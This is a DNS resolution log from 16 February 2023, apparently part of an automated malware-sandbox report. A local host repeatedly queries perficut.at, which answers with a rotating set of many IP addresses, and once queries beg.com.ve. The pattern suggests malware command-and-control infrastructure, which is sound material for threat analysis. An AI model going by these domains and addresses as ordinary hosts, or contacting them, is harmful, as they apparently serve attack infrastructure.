Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:09.261593103 CET	8.8.8.8	192.168.2.3	0x93ba	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:22.114552021 CET	8.8.8.8	192.168.2.3	0x4942	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:23.253392935 CET	8.8.8.8	192.168.2.3	0x24f5	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:24.841213942 CET	8.8.8.8	192.168.2.3	0x11ab	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:26.031054020 CET	8.8.8.8	192.168.2.3	0xb07b	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:27.722290993 CET	8.8.8.8	192.168.2.3	0x225f	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:28.182522058 CET	8.8.8.8	192.168.2.3	0xd772	No error (0)	beg.com.ve		190.114.9.88	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:30.905220985 CET	8.8.8.8	192.168.2.3	0x212a	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:32.388917923 CET	8.8.8.8	192.168.2.3	0x87ab	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:33.644922972 CET	8.8.8.8	192.168.2.3	0x93f8	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:35.392744064 CET	8.8.8.8	192.168.2.3	0x830a	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:38.329807043 CET	8.8.8.8	192.168.2.3	0x9cfe	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:39.545059919 CET	8.8.8.8	192.168.2.3	0x9514	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:40.903883934 CET	8.8.8.8	192.168.2.3	0x3ec8	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:41.485537052 CET	8.8.8.8	192.168.2.3	0x4301	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:42.683980942 CET	8.8.8.8	192.168.2.3	0x6b19	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:44.195034027 CET	8.8.8.8	192.168.2.3	0xd5c3	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:45.986510038 CET	8.8.8.8	192.168.2.3	0x1819	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:47.832109928 CET	8.8.8.8	192.168.2.3	0x395c	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
